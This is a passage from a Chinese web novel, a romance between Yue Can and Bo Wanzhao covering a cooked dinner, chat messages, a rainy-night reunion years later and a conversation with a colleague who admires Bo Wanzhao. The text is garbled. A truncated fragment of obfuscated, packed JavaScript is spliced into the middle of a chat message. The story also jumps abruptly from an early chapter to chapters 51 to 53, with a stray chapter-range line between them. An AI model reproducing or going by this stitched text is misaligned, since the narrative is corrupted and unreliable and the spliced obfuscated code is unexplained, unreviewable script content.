薄晚照想笑,还是耐心回答:“直接擦就行。” 越灿往手背上泛红的地方擦,指尖轻柔地将药膏抹开,很仔细。 烫伤的皮肤灼热刺疼,冰凉的药膏一敷上,刺疼在指尖下一点一点被安抚,痛感变得温和,伤处舒服许多。 这种程度的疼痛对薄晚照来说不算什么,她小臂上的好几处疤都是直接被烟头烫伤的,想到这些,她的手不自觉颤了颤。 “弄疼你了?”越灿反应比薄晚照还大,指尖立马停了停,不敢碰了。 “没有。”薄晚照吸了吸气。 越灿这才继续擦,更小心温柔了些。 薄晚照瞧着越灿低头认真的模样,有短暂的失神,曾经更严重的伤,也没人这么轻轻柔柔地帮她擦药。 越灿隐隐察觉到薄晚照的走神,擦好药,她看看薄晚照,开玩笑地来了句:“感动了?” 薄晚照缄默垂下手。 越灿厚脸皮冲薄晚照笑,又想逗一逗正经人,“我这么贴心,你感动了也很正常啊,有什么不好意思承认的?” 薄晚照还是神情不变,静静瞧着她胡说八道。 当玩笑话没有逗乐别人,那么尴尬的就是自己。越灿尴尬了,她轻声喊了喊:“薄晚照。” 薄晚照:“嗯?” 越灿有点气急败坏,嚷嚷:“我不想理你了。” 薄晚照笑了,低声说她:“幼不幼稚?” 越灿哑然,有一说一,薄晚照笑起来是很赏心悦目…… 晚上做了三个菜,再加上越灿带来的甜品,两个人吃,已经很丰盛。 越灿吃东西慢,所以每次一起吃饭时,薄晚照会下意识放慢自己的速度,不知道是不是这个原因,越灿在的时候,似乎时间的节奏也慢了,气氛松弛而缓和。 吃得慢但不妨碍越灿吃得香,她一连吃了好几块排骨,薄晚照看她的吃相,都不禁纳闷,有这么好吃? 晚饭过后,越灿又吃了一小块慕斯蛋糕收尾,彻底吃撑了。 薄晚照有用完餐具即刻清洁的习惯,她收拾好碗筷拿进厨房。 “我来吧。”越灿抢在她前头,“你手上还擦着药,不要碰水了。” “不碍事,又不严重。”薄晚照说。 越灿:“你做饭我刷碗,这么分配很公平。” 薄晚照:“不用。” 越灿有理有据地争着:“你照顾我那么多,我还你一点怎么了?” 又是这番言辞,薄晚照跟她说:“不用还,我照顾你是应该的。” 对自己好,是因为应该的,因为谭茗有恩于她,所以她会尽可能地满足自己的要求。越灿猜到大概率是这样,但听薄晚照说出来,她还是有一丝失落。 就算是应该的,需要好到这种地步吗?连得寸进尺都可以纵容。越灿心想,哪怕是亲姐姐,也不见得能有薄晚照对她这么好。 越灿还是没让薄晚照碰水,自己闷声闷气地把碗洗了。她不太会,几个碗洗了好半天。 洗完碗八点多了,越灿接到谭茗打来的电话,问她什么时候回家,她含糊说等下就回去。 等越灿结束通话,薄晚照说:“我送你回去。” 越灿握了握手机,以前还能打着学习的幌子待在这,赖在这好像只能耽误人家的事了。“没事,我让唐姐来接我。” 薄晚照:“也行。” 越灿又说:“你忙你的,不用管我。” 薄晚照拿出笔记本继续写毕业论文,越灿就坐在另一边玩手机,她抽空问了问:“你假期也忙?” 薄晚照:“嗯。” 越灿忘了,薄晚照是没有假期的人,光是兼职就有好几份。 薄晚照余光瞥见越灿百无聊赖,却没准备离开,如果不是和家里闹翻,那来自己这是为什么?难道是来体验生活…… - 十一假期越灿也没闲着,和钟然洛扬她们碰了面,老朋友旧同学,见了一堆,玩玩闹闹假期就接近了尾声。 假期她四处闲逛,又去了一次梧桐巷,只是没提前跟薄晚照说。她敲了敲薄晚照家的门,果然没能偶遇上,人不在家,估计又在外面忙着挣钱。 再回到西城,越灿跟薄晚照的联系变多了,大概是因为薄晚照给了她得寸进尺的特权。 不过她们联系也称不上频繁,一周两三次左右。 薄晚照的私号没几个联系人,越灿无疑成为给她发消息最多的人—— 【越灿】想脏脏包了 【越灿】刚刚拍到了好大的月亮[图片] 【越灿】南夏有吗? …… 【越灿】下次帮我拍个脏脏包的视频行吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越灿选了后者,她很极端,有活力的时候活力四射,懒起来的时候能懒得像条咸鱼。下午活力值耗尽了,她决定回宿舍当咸鱼。 宿舍另外两个女生出去玩了,越灿洗完澡出来,只有白桦在。白桦热心说:“下午给你拍了好多视频,发你微信了。” “好。”越灿往座椅上一坐,查看手机,津津有味看着,笑说,“拍的挺好的。” “那是,主要是人好看。”白桦半开玩笑地说,“怎么办,跟你表白的人又要变多了。” 越灿一笑而过,不在意这些。 运动完以后太累,越灿这个夜猫子今晚不到十点就爬上了床,她习惯性玩会儿手机,想了想,睡前给薄晚照发了条微信消息:最近都没碰到脏脏包吗? …… 南夏又在下雨了。 房间里寂静,从屋外传来的雨声哗哗,薄晚照在修改论文,心情烦闷焦躁,精神不够集中,效率有些低。她时不时瞥一眼手机,直觉今晚的微信消息会弹出提醒。 大概过了十分钟。 果然响了声提示音。 【越灿】最近都没碰到脏脏包吗? 又是脏脏包,薄晚照看着屏幕,心情忽而变得轻快些…… 【bwz】没碰到,碰到了会给你拍。 越灿被薄晚照的秒回惊到了,回这么快,铁树开花了?她打了行字,又删除,在想要不要把今天打网球的视频发过去,是不是太刻意,太显摆了?而且薄晚照也不一定有兴趣看…… 就这么纠结着,越灿没回消息。 薄晚照一直在注意手机,看到显示“对方正在输入”,然后却没了后续……等了片刻,她主动发消息问:还想说什么? 越灿:“……” 看到了啊。 【bwz】如果想找我聊天,可以直说,不用每次都提脏脏包。 越灿:??? 瞌睡都醒了。 自己的“动机不纯”有这么明显吗? 50-60 第51章 薄晚照你烦死了。 “方便,当然方便。”宋镜飞快应着,虽然薄晚照是合作方高层,但也是越灿的姐姐,用不着太拘谨。 晚上她们去了一家融合餐厅,宋镜朋友开的,正好捧场。 越灿拉开张椅子坐下,余光看见薄晚照下一秒落座在她右手边。她没跟薄晚照聊天,有一搭没一搭和宝儿闲聊着,偶尔伸手揉揉小腹。 薄晚照喝着凉白开,寡淡无味,耳畔时不时传来熟悉的说笑声,但说笑声不再是对着自己。 宋镜提前定好了餐,上菜很快,这家餐厅的装潢风格浪漫,菜品卖相也浪漫,挺适合约会的一家店。 “晚照,尝尝我朋友这边的白葡萄酒,味道不错。”宋镜准备倒酒。 薄晚照轻声说:“最近肠胃不太好,就不喝酒了。” 越灿听见,以前就肠胃不好,这么多年都没养好些, 今晚越灿话不多,只是默默听着其他人聊天,偶尔笑一笑。 “晚照,你之前是在欧洲工作吧?”宋镜跟薄晚照闲聊。 薄晚照:“嗯,待了五年。” 越灿在心里算了算时间,所以当年她傻乎乎往京海市跑时,薄晚照已经去国外了,偶遇的几率根本为0…… 宋镜去欧洲留学过,这方面和薄晚照有共同话题,“国外待遇应该更好,怎么想起回来了?” 听到这个问题,越灿本能凝了凝神。 薄晚照依旧给着官方回答:“不太习惯国外生活,也想回南夏了。” 宋镜笑说:“我们大南夏也好。” 越灿想到自己过去傻乎乎等待的那几年,心里又不是滋味,闷得难受。 宝儿给她递过一瓶冰镇饮料,“灿灿,喝这个吗?” 越灿心不在焉伸手接过,冰霜化在手心凉丝丝的。 薄晚照转头小声提醒了句:“生理期别喝。” 越灿晃了晃神,“你怎么知道?” 薄晚照轻声说:“看出来的。” 越灿哑口无言,从前就是这样,她不用明说,薄晚照都能从小动作发现她在生理期。 “疼吗?”薄晚照盯着她脸庞,又问。 越灿听着关心,安静不语,心间的酸涩悄然膨胀,薄晚照总是记得她许多细节,对她处处贴心,弄得她心动,让她误以为薄晚照很在意她,结果呢,薄晚照却毫不留情,说不要她就不要她。 她现在不吃这一套,不会再对薄晚照的温柔心动了,栽了一次,她不会在同一个人身上栽第二次。 越灿脸上神情没什么变化,始终与薄晚照保持着距离感,在那年许愿不再喜欢薄晚照时,她就下定决心了,不会再对薄晚照有任何念想。 薄晚照接到一个工作上的电话,她起身去一旁接听,等打完电话回来时,发现越灿不在了。她问宋镜:“越灿呢?” 宋镜:“她说她有事,就先走了。” 薄晚照目光沉了沉,越灿现在讨厌她不想见到她,也理所当然。 没待多久,薄晚照跟宋镜打了声招呼,“我也先走了,下次请你吃饭。” 离开餐厅,薄晚照开车在街头闲逛,这条路她再熟悉不过,A大和梧桐巷都在附近,她已经许久没来这边。 梧桐巷外的夜市还在,并且规划得更加合理,热闹喧嚣,吸引了附近不少大学生过来。 下车后,薄晚照走在街头,瞧见不远处有两个女孩手牵着手,正青涩的年纪,两人应该是情侣,在路灯下笑着拥抱,暧昧腻歪。 她习惯了独自面对一切,以前从没向往过爱情,但这些年她幻想过无数次,如果她没经历过那么多不幸,没有伤痕累累,如果她足够好,可以回应越灿对她的喜欢,如果她跟越灿在一起了,会有怎样的时光? 路灯昏黄,薄晚照走进小巷里,目之所及,小巷还是熟悉的景象,破旧狼狈,跟多年前一样。 她踩着开裂的地面往里走,一直走到巷尾,她看见一楼熟悉的出租屋亮着灯,已经有了其他租户。 她盯着亮灯的窗户久久出神,记忆中的种种画面依然清晰如昨。 …… 越灿很久没来梧桐巷了,要不是今晚吃饭就在附近,她也不会想起来这边看看。 现在巷子里的流浪猫换了一批,她全都眼生。 当年薄晚照离开后,很长一段时间,她一回南夏,还是会来梧桐巷转悠,跟邻居周奶奶寒暄两句,遇到过脏脏包两次,再后来,周奶奶搬走了,脏脏包也没再出现。 时间好像什么都能带走,渐渐也让她释然。 顺着小巷继续往深处走,在充满回忆的旧房子前,越灿抬头,恍然看见一个似曾相识的背影。 她在原地呆怔片刻,才意识到没有看错,只是当年过分清瘦的背影如今变得优雅成熟…… 薄晚照失神站了良久,黯然转过身时,又顿下脚步,她目光定格前方,不知道越灿什么时候过来的。 看清薄晚照的脸,越灿心脏扑通跳着,这一幕像从她梦里复制出来的画面,她以前每次来梧桐巷,总臆想着,会不会突然就撞见薄晚照的身影,薄晚照变成什么样了? 现在她望着薄晚照,有了具象的答案,薄晚照变得风光漂亮,这些年一定都得偿所愿了。 薄晚照也缄默望着眼前,越灿身上不再有半点青涩。 小巷还是当年的小巷,但两人都不再是曾经的模样,像一晃眼,就在这条旧巷里闪过了许多年。 两人都跟按了暂停键似的,双双沉默了好一段时间。今晚月色清冷,洒在人身上,显得冷冷清清。 薄晚照先说话,“很久没回来,过来看看。” 越灿心跳微快,但神情保持着疏离,像只是一场稀松平常的偶遇,她以稀松平常地口吻笑说:“你当初说走就走,应该没什么留念吧。” 灼热的夜风吹乱发丝,薄晚照眼神柔了柔,看着越灿低声说:“没有不留念。” 没想到薄晚照会这样回答,因为言语间听出了留念……越灿半晌无声,只是目光倔强看着薄晚照。 倘若薄晚照对南夏所留念,那一定不包括自己,否则怎么会不辞而别?怎么会对自己的电话无动于衷?怎么会无视自己只发给她看的朋友圈?怎么会七年不出现在自己面前? 越灿悄悄咬了咬牙,没其他好说的,她故作轻松,转身要走。 “越灿。” 越灿没理会身后的声音,她听到脚步声仓促了些。 薄晚照跟了上前,看见越灿怏怏不乐的模样,她以只有两人听见的嗓音,极轻地说着:“对不起……” “有什么对不起的?”越灿还是语气轻松地反问着。她虽然难过,但薄晚照用不着跟她说对不起,薄晚照只是不会喜欢她而已,没什么错。 这些年是她自己一厢情愿,薄晚照明确拒绝表白后她还不死心,以为薄晚照会回来,一厢情愿等待。 此刻面对着薄晚照,越灿心烦得不行,快要装不下去了,但她不想暴露自己还在意,只想快点结束对话,“过去的事别提了吧,都翻篇了,再提尴尬。” 说完越灿想以最快的速度离开,不知道是不是受情绪影响,小腹跟着抽疼得厉害,她难受皱了皱眉。 薄晚照靠近些,“是不是难受?我送你回去。” “你不用来关心我。”越灿直直盯着她,语气重了些,“我现在不需要。” 跟薄晚照再遇以来,越灿尽可能地保持着淡然,今晚她头一次跟薄晚照说话带了情绪。 越灿越想越难受,身体也难受,她原地蹲了下来,捂着小腹。 薄晚照弯腰扶她起身,担心着:“先别犟,我送你回去。” 越灿朝她气呼呼嘟囔:“谁跟你犟啊!” 薄晚照还是温声细语,“能走吗?要不要背你。” 越灿僵住,每次自己炸开时,薄晚照都是耐心安抚,永远没脾气似的。她心乱,“薄晚照你烦死了。” 薄晚照继续应着:“嗯。” “……”越灿无话可说,她没让薄晚照背,但耐不住身体难受,还是上了薄晚照的车。 薄晚照:“等我一下。” 越灿独自坐在副驾上,几分钟后,薄晚照买了止疼药和水回来。 看着递到自己手边的药片,和已经拧开的矿泉水,越灿看着她腹诽,又不是你女朋友,要贴心到这种地步吗? 烦死了…… 越灿在心里又想了一遍。 _ 越灿生理期休息了两天,才继续工作。忙完自己店里的拍摄,她又协助宋镜参加跟nova的联名活动,一星期都忙得团团转,忙起来也好,至少没空胡思乱想。 nova很重视每年的联名活动,所以拍摄要求比较高,宣传画册的拍摄持续了三天,越灿妆面都试了好几版。 “这批宣传海报发出来,你又要涨粉了。”宋镜喜滋滋的,她跟越灿的事业就是相辅相成,自然希望另一方好。 越灿敷衍笑了笑。 宋镜问:“最近累到了?” “你说呢,一天到晚拍。”越灿懒洋洋说,快要散架似的。 “忙完这段时间休一下假,灿儿,我们店里再招个模特吧,你一个人有点太累了。”宋镜说。 越灿哀叹:“宋老板,你终于良心发现了。” 宋镜:“你有影响力嘛,我想好了,以后你只负责主推款,其他的我找人帮你分担一下。” “好啊。” “走吧去吃饭,晚上有人请客。” “谁啊?” “薄总。”宋镜压低了低嗓音,“你姐。” 越灿想了想,“算了吧,我想休息。” 宋镜说:“今晚必须得去,给你介绍时尚圈资源。” 越灿托腮,没脸没皮地说:“我现在对自己挺满意的,不想更火了。” “知道你超凡脱俗淡泊名利,但作为breeze的门面,你就帮我露个脸,去撑撑场面好吗?”宋镜软磨硬泡。 越灿无奈应了。 晚上更像是个带着应酬性的饭局,越灿远远看见了薄晚照,薄晚照跟好几个人在一块儿喝酒聊天。 薄晚照适时抬了抬眸。 两人目光短暂对上,越灿没打算过去打招呼,但被宋镜直接拉了过去。 越灿酒量不好,职业原因,平时也不怎么喝酒,她最近都有拍摄,理由充沛,以水代酒。 又是杂志社高层,又是品牌方领导,难怪宋镜一定要拉她过来,确实是拓展人脉的绝佳场合。 来都来了,越灿主动加着各位圈内大佬的联系方式,一只熟悉的手伸了过来,越灿抬头看看薄晚照。 薄晚照打开了自己二维码。 宋镜也不知道什么情况,姐妹俩都没加过微信?但这种场合也不好说不合时宜的话。 越灿顿了半秒,众目睽睽之下,她皮笑肉不笑,低头扫了扫二维码,点击添加好友。 下一秒好友申请就通过了。 消失许多年的昵称,又出现在她的列表里。 应酬的事通常都由宋镜负责,越灿只是陪衬,她不爱这些场合,可breeze毕竟也有她的一部分,必要时还是要露个面。 越灿发现薄晚照的酒量变好了,以前她们一起喝酒时,薄晚照顶多抿几口,还不如自己。 人都是会变的。 或许是太无聊,越灿暗戳戳数着薄晚照喝了多少杯酒,肠胃不好还喝酒,也不怕喝出毛病…… 随着轰隆一声雷。 窗外下起了大雨。 持续一个多小时,聚餐散了,越灿看见薄晚照喝了不少酒。 宋镜也喝了酒,越灿跟她说,“镜姐,我送你回家吧。” “不用,我没喝多打个车就行,你累了就早点回去休息。”要是顺路宋镜也就应了,不顺路今晚又下雨,她省得越灿来回折腾。 “那好,你到家给我发个消息。”越灿跟宋镜告别,眼睛又往包间里瞥了一眼,薄晚照身边有人陪着。 陪在薄晚照身边的是这次联名活动的负责人,越灿认识,叫赵茹。 “晚照,你好像喝多了,我送你回酒店。” 薄晚照淡笑着拒绝,“没喝醉,下雨就不麻烦你了。” 赵茹说:“你别跟我客气,我们都认识多少年了。” 薄晚照:“真的不用,赵总,你回去休息吧。” “别叫我赵总行吗?这么多年我们都是一个人,你一点也不考虑我?”赵茹苦笑了笑,“其实我这次选择回国,也是因为你。” 雨稀里哗啦地下着,透过雨声,越灿还是听到了聊天内容,她不是故意偷听,是在门口很难听不见…… 里面传来薄晚照的声音:“我只把你当普通朋友,我之前就说过,我们不可能的。” “不说了,我先送你回酒店,你现在下雨还做噩梦吗?我今晚陪你。”赵茹很温柔体贴。 越灿这时往门内走去,两双眼睛齐刷刷往她身上看过来,她轻飘飘说:“打扰,我好像落东西了。” 赵茹礼貌笑笑,又对薄晚照道:“我们走吧。” 在对方的手要往薄晚照身上扶时,越灿直接看着薄晚照,“我顺路,送你。” 上次薄晚照送她回去,这次她送薄晚照,这样刚好两清。 薄晚照看着越灿:“嗯。” 这情况赵茹不明所以,但看这两人关系似乎亲密,“你们……” 越灿微笑,对赵茹说:“我们认识。” 车内弥散着淡淡的酒气。 薄晚照问:“刚刚听到了?” 越灿垂了垂睫毛,没否认,淡淡回答:“不是故意的。” 薄晚照又说:“我跟她只是普通朋友。” 普通朋友能知道下雨天做噩梦这么私密的事?这不重要……越灿若无其事,慵懒笑笑,“你跟我解释干嘛?”弄得她们有什么关系一样。 薄晚照缓了缓,“想解释一下。” 有什么可解释的,这话听着令人浮想联翩,越灿握了握手中的方向盘,始终不冷不热没有应声。 薄晚照思忖片刻,还是主动说了出来:“她知道我的情况,是因为我们都在心理治疗,国外互助会认识的。” 第52章 再抱一下,好不好? “心理治疗?” “应激障碍,所以经常做噩梦。”薄晚照简单解释道,她现在想要越灿知道自己的情况,即便说出来以后,可能把越灿推得更远。 两人认识这么久,越灿头一次听薄晚照主动提及自己私密的事,以前薄晚照总是对自己身上的伤绝口不提。 薄晚照说得平静,像是聊起一件微不足道的小事,但越灿听得不是滋味,当年她就感觉薄晚照的噩梦应该和真实经历有关。 沉默片刻,越灿低声问:“因为以前经历过的事造成的?” 薄晚照应着她,“嗯。” 越灿中规中矩询问:“那现在好些了吗?” 薄晚照:“好转了很多。” 越灿轻抿了抿唇,沉默着没说更多。 薄晚照也没继续说什么。 对话礼貌疏离,聊天短暂结束,车内再度安静。 越灿倒车离开车位,慢慢悠悠开车拐出地下车库。 分别多年带来的距离感难以消弭,两人之间像隔着层厚厚的屏障,比普通朋友还生疏一些。 薄晚照余光悄然看着越灿侧脸,习惯了当初越灿在自己面前热情明媚的模样,现在变得陌生…… 似乎碰不到了。 冷漠推开后再挽回的几率有多小,从决定回南夏时,她心里就明白。 或许是酒劲上来,薄晚照头晕沉,胸口也闷,她合上眼,靠在座椅上闭目养神。 等红灯的时候,越灿发现薄晚照睡着了,她低头又看见薄晚照手臂上的旧伤疤,愣神片刻。 心理治疗,在国外过得不那么好吗?不管怎样,她都希望薄晚照可以好好的。 越灿送薄晚照回了上次的酒店,驶入车库后,她将车停稳,薄晚照好像睡着了,没发现已经抵达目的地。 “到了。”越灿转过头说。 薄晚照还闭着眼。 越灿只好靠近些,“到了。” 薄晚照疲倦睁开眼,一张想过很多遍的脸落入眼底,距离有些近,她一时没顾及说话,只是安静瞧着,细细打量。 这眼神越灿莫名熟悉,大概初吻这种事总是很难忘记,恍惚觉得她们当初接吻时,薄晚照就是这么看她。 薄晚照轻轻开口:“到了吗?” 沙哑的嗓音添了几分暧昧,越灿避嫌似的,垂眼拉开点距离,“嗯,下车吧。” 薄晚照轻喃一声:“头晕。” 越灿看人还是不下车,僵持住了,她无奈嘀咕:“那你也不能睡车里吧?” 薄晚照不语,静静盯着眼前的人,微醺的目光柔软。 越灿看她这难受的模样,只好送佛送到西,“我送你上去。” 薄晚照:“嗯。” 越灿:“……” 几年不见,现在倒是不怕麻烦别人了。 薄晚照住在高层,乘电梯往楼上去,越灿看她走不太稳,只好稍微扶一下。 越灿:“你没事吧?” 薄晚照:“不太舒服。” 越灿瞧见她脸色不怎么好,还轻微弯着腰,不禁说她:“你肠胃不好今晚喝酒干嘛?” 薄晚照抬抬眼看她,嗓音疲惫虚软:“知道错了。” 越灿哑了哑,错不错的关自己什么事,难受的又不是自己。 等了会儿,电梯门打开,越灿看薄晚照往自己身上靠了靠,以为她要摔倒,本能伸手搂住她的腰。 刷卡进房门,越灿好人做到底,半搂半抱着将薄晚照送回沙发上,薄晚照躺下时她手没来得及抽走,手臂被压在腰肢和沙发的缝隙之间,连带她身子往薄晚照身上凑了凑。 分开七年后,越灿没这么近距离看过薄晚照的脸,虽然决心放下了,可眼前毕竟是曾经心心念念的人,她这么看着薄晚照时,轻微失神。 薄晚照气息里还带着淡淡酒香,两人对视间,她不禁细声叫了叫:“越灿……” 这一声叫得很温柔,越灿眼神躲了躲,她抽出自己的手,看薄晚照的状态不大好,“你要不要去医院啊?” 薄晚照摇摇头,低声解释:“喝多了点。” 越灿腹诽,虽然晚上喝了不少,但也不至于醉成这样吧?她去厨房接了杯水,然后给薄晚照送过去。 薄晚照倚在沙发上,接过水杯喝了两小口。 越灿正准备走。 “喵——” 越灿低头看见一只小猫从角落走出来,一时傻了傻眼,因为太像脏脏包了,但比脏脏包更胖一些。 小猫胆儿小,在角落里暗中观察了好一会儿,才探头探脑出来,它好奇又小心翼翼地打量着眼前的陌生人,再叫了声:“喵——” 越灿问薄晚照:“你养的猫?” 薄晚照:“嗯。” 小猫上前嗅着越灿,没有察觉到危险,胆子渐渐大了起来,朝越灿贴更近。 薄晚照瞧见,“她很喜欢你。” 越灿看到小猫可爱,免不得要摸一摸,和脏脏包好像,她问薄晚照:“你什么时候养的?” 薄晚照:“挺久了,出国之前。” 越灿:“叫什么?” 薄晚照:“小脏脏包。” “喵——”小猫听到自己的名字,乖巧应了声。 越灿静默。 薄晚照轻轻笑问:“是不是很像脏脏包?” 越灿不想跟薄晚照聊过去的事,那些东西她费了好大劲才放下,她没回答薄晚照的话,只是淡淡然说:“我走了。” 薄晚照看向她,“今晚别走了。” 听到这突然的一句,越灿皱眉愣了愣。 薄晚照继续说:“外面雨好大。” “没事,反正我开车。”越灿不自觉看看窗外,雨确实下得很大,雨声聒噪得令人心烦意乱。 薄晚照望着她,又说了遍:“今晚别走,行吗?” 又是破碎脆弱的眼神,越灿仍记得清楚,以前每次下大雨,薄晚照都会应激难受,然后流露出这种目光,而她每次看到心都揪疼。 越灿站在沙发旁,犹豫了,可薄晚照的事跟她有什么关系?薄晚照离开这么多年,也没见她需要自己,今晚没自己陪她,她一个人也能过。 “你休息吧,我走了。” 薄晚照见状,及时拉住她手腕,轻叹着:“我有点难受……” 越灿脚步顿住,大概真是喝醉了,否则薄晚照那么要强,再难受都会自己忍着,绝不会主动暴露脆弱的一面。 薄晚照还是牵着她手腕。 “喵。”小脏脏包蹭着她腿边,开始大着胆子,黏糊糊撒娇。 越灿最终还是拗不过,“行,我不走,你松开我。” 薄晚照温声反问:“不骗我?” “……”越灿无语死了,怎么喝醉比自己还没脸没皮,她以前从没见薄晚照喝醉过,不知道会是这种情形。 小脏脏包在地毯上打着滚,扭动着胖乎乎的身子。 薄晚照跟越灿说:“她想吃零食了,茶几下面有。” 越灿抗拒不了小猫撒娇,弯腰找了袋冻干出来,放在自己掌心,凑过手心喂着。 薄晚照低眸看得认真,像回到了多年前,什么都没改变,但只是错觉。她扶着沙发上站起身,“你陪她玩,我去洗澡了。” 越灿担心她酒还没醒,“你再休息会儿,别摔了。” 薄晚照受不了一身酒气,柔声回答:“有事我叫你。” 越灿:??? 真是一点也不客气。 薄晚照没洗太久,十几分钟后开门出来了。 越灿还在客厅逗猫,她听到动静望了望,视线停滞片刻,薄晚照身上换了条纯色睡裙,皮肤不像之前那么苍白,身材也不像之前那么干瘦。 看了一眼,越灿漫不经心移开目光。 薄晚照:“我给你拿睡衣,你洗澡。” 这句话让越灿想起她们住在出租屋的时候,那时她总是找各种借口留在薄晚照那过夜,她现在都不理解当初的自己,怎么会对薄晚照那么死缠烂打,就算得到的回应少之又少,依然一腔热忱。 很快,睡衣就送到了自己面前,越灿看看薄晚照,生怕自己走了一样,她从薄晚照手里接过睡衣,“你不舒服就去躺着。” 薄晚照点点头。 洗完澡以后,越灿走到卧室门口,薄晚照在床上躺下了,只睡了一半床,特意留下来另一半。 越灿本想睡沙发的,但外面风雨大作,又时不时响起雷声,薄晚照的脸色看起来不太好。她知道薄晚照的老毛病,身边有人陪着要好很多。 同一张床,尽管她们以前都是这样,但现在越灿完全是不一样的心情,稀里糊涂的,怎么就留了下来。 薄晚照睁了睁眼,看向越灿,轻声催促:“上来,别着凉。” 就这一次,以后不管薄晚照的事了,越灿想着,她掀开被子一角,隔着距离睡在另一侧。 夜灯点亮着房间,光线微弱。 听着雨声,越灿也心神不宁,因为躺在另一边的薄晚照,她侧身背对着薄晚照。 雨声里又夹杂一串雷,在深夜里,发出轰隆隆的闷响。 惦念许久的人就在身边,躺了会儿,薄晚照按捺不住,她单方面打破两人之间的距离,试探着将越灿搂在了怀里。 后背传来柔软温暖的触感,越灿僵了僵。 “让我抱一下。”薄晚照声音微颤,情不自禁加深了拥抱。 又是这句,越灿犹记得多年前薄晚照这么对她说时,她心跳有多快,但此刻除了亲密接触带来的心跳加速外,还有说不清的酸楚。 雨夜两人总是有借口拥抱,不清不楚的,七年前是这样,七年后还是这样。 越灿努力*摆出平淡地口吻:“还是做噩梦么?” “嗯,偶尔。”薄晚照卑鄙撒了个谎,积极治疗后,她对雨天的应激已经缓和许多,她此刻抱着越灿不愿松开,单纯出自眷恋,终于不是在梦里,而是真真切切的温暖。 皮肤本能的渴望也让薄晚照更克制不住,两人都穿着露肤度高的睡裙,她抱得更紧,她们光溜溜的手臂贴在一起,体温相融。 薄晚照闭眼将头靠在越灿肩侧,深吸着气,她不知道越灿的拥抱还会不会属于自己,但可以这么抱着的时候,她想抱久一点。 越来越得寸进尺,过于亲密暧昧,甚至能感受到彼此身体的曲线轮廓,越灿浮躁不安,她咬咬唇喊着:“薄晚照。” 薄晚照:“怎么了?” 也抱太紧了,越灿别扭嘟哝着,“我又没允许你抱我,你松开我。” 薄晚照揉了揉她脑袋,讨价还价似的,柔声询问:“再抱一下,好不好?” 轻声耳语让越灿心间酥痒,她安静一动不动,以前她缠着薄晚照抱好多次,薄晚照才会主动抱她一次。但今晚…… 这人是不是一喝醉就喜欢缠着别人,留人过夜,还主动撒娇要拥抱? 越灿让她抱着,忍不住嚷嚷问:“你一喝醉就这样么?” 薄晚照呼着气,不紧不慢反问,“我哪样?” 温热的呼吸落在脖颈,越灿咽了咽喉咙,“没脸没皮的,一逮着人就抱,还臭不要脸撒娇。” 薄晚照无声笑了笑,细声解释,“不是,没抱过别人,也没让别人抱过。” 第53章 我是会吃回头草的人吗? 薄晚照声音低柔,像是喃喃的酒话,没抱过别人…… 越灿闷声不吭,始终背对着薄晚照,看在喝醉还不舒服的份上,她由薄晚照搂着,充当人形抱枕。 就这一次,以后再也不心软了,越灿闭上眼,她不想再跟薄晚照牵扯不清,以前喜欢过一次就够累了。 没被推开,薄晚照稍稍安心,她没喝醉,都是借口罢了。 一直到夜深,薄晚照还是从背后抱着越灿,清醒没睡着,或许是因为这些年,太想念这个拥抱了。 越灿这时候软绵绵翻了个身,然后面对着面,主动抱上薄晚照的腰,将脑袋蹭进她颈窝。 薄晚照心跳快着,腰肢软了软,她叹气小声叫:“越灿?” 然而没有回应。 越灿安静,呼吸均匀。 薄晚照发现越灿是睡熟了,无意识才这样。 次日手机闹钟在八点准时响起,越灿醒来时,浑身暖洋洋的,整个人被好闻的淡香包裹,她发现怀里正抱着薄晚照,跟做梦似的。 薄晚照也惺忪睁眼,朦胧盯着眼前小巧的脸庞。 床上抱在一起对视,气氛很难不暧昧,暧昧得像她们昨晚有过什么一样。 越灿平时有赖床的习惯,但今天她清醒得很快,她拉开跟薄晚照的距离,起身下床。 薄晚照怀里落空,短暂的亲密过后又是疏离。 今天上午越灿还有拍摄。 洗漱完,越灿想换衣服,发现昨晚换下的衣服忘了洗,她看看时间,现在洗衣烘衣也来不及了。 “先穿我的,干净的。”薄晚照挑了一套衣服给她。 越灿没得选,只好接过去浴室换了,她看着镜子里的自己,一身性冷淡风格,也就是平时薄晚照的风格。 换好衣服后,越灿简单将头发盘起,“我走了。”她出门随意,反正到了拍摄现场要再做妆造。 薄晚照:“吃完早餐一起。” 越灿只是甩下一句:“我赶时间。”说罢匆匆离开。 门被关上,薄晚照独自留在原地,她弯腰抱起脚边的小脏脏包,揉了揉小猫脑袋,“她还会理我吗?” 小脏脏包懵懵懂懂,撒娇哼了声“喵”。 …… 午餐,难得没有饭局,薄晚照就在公司食堂随意吃些。 有人端着餐盘过来凑桌。 薄晚照抬头看,是赵茹。 赵茹笑问:“昨晚睡得好吗?” 薄晚照想了想昨晚的情形,微微一笑,“还不错。” “那就好。”赵茹小口吃着饭,安静须臾,又闲聊着开口问,“我一直好奇,你心里放不下的那个人,到底是什么样的人?” 当初某次工作聚餐,大家一起玩“你有我没有”的游戏时,赵茹偶然得知薄晚照跟自己一样,都喜欢女人。那天起,她就对薄晚照动了心思,没多久就跟薄晚照表白了。 薄晚照拒绝了她,她并不意外,毕竟薄晚照一看就是很难动情的女人。她意外的是,薄晚照竟然跟她说,心里有放不下的人…… 起初赵茹觉这可能只是薄晚照搪塞自己的理由,但这么多年,她确实没见过薄晚照谈恋爱,甚至连暧昧对象都没有过。 “这么忘不掉,她是你初恋?”赵茹问。 薄晚照摇头,都没在一起过,什么身份都没有。 “难道还有你追不到的人?”赵茹半开玩笑说,又带着惊讶,总感觉爱而不得这种事,不可能发生在薄晚照身上,薄晚照能力出众,又漂亮,这种女人怎么可能有人不喜欢? 薄晚照淡声说:“她不一样。” 赵茹听到她这么说,“所以到现在,你还是没放下?” 薄晚照默认着。 赵茹又说:“你难道没想过,过去这么多年,你们已经不太可能在一起了,你不能总想着过去吧?” 薄晚照没有犹豫,轻声答道:“就算不可能在一起,我也放不下。” 赵茹诧异得无言以对,第一次听人以冷静理智的口吻说出如此偏执的话,她感觉薄晚照不是放不下,而是完全没想过放下。 知道自己没可能了,赵茹朝薄晚照笑说:“那我祝你‘念念不忘,必有回响’。” 薄晚照淡笑:“谢谢。” _ 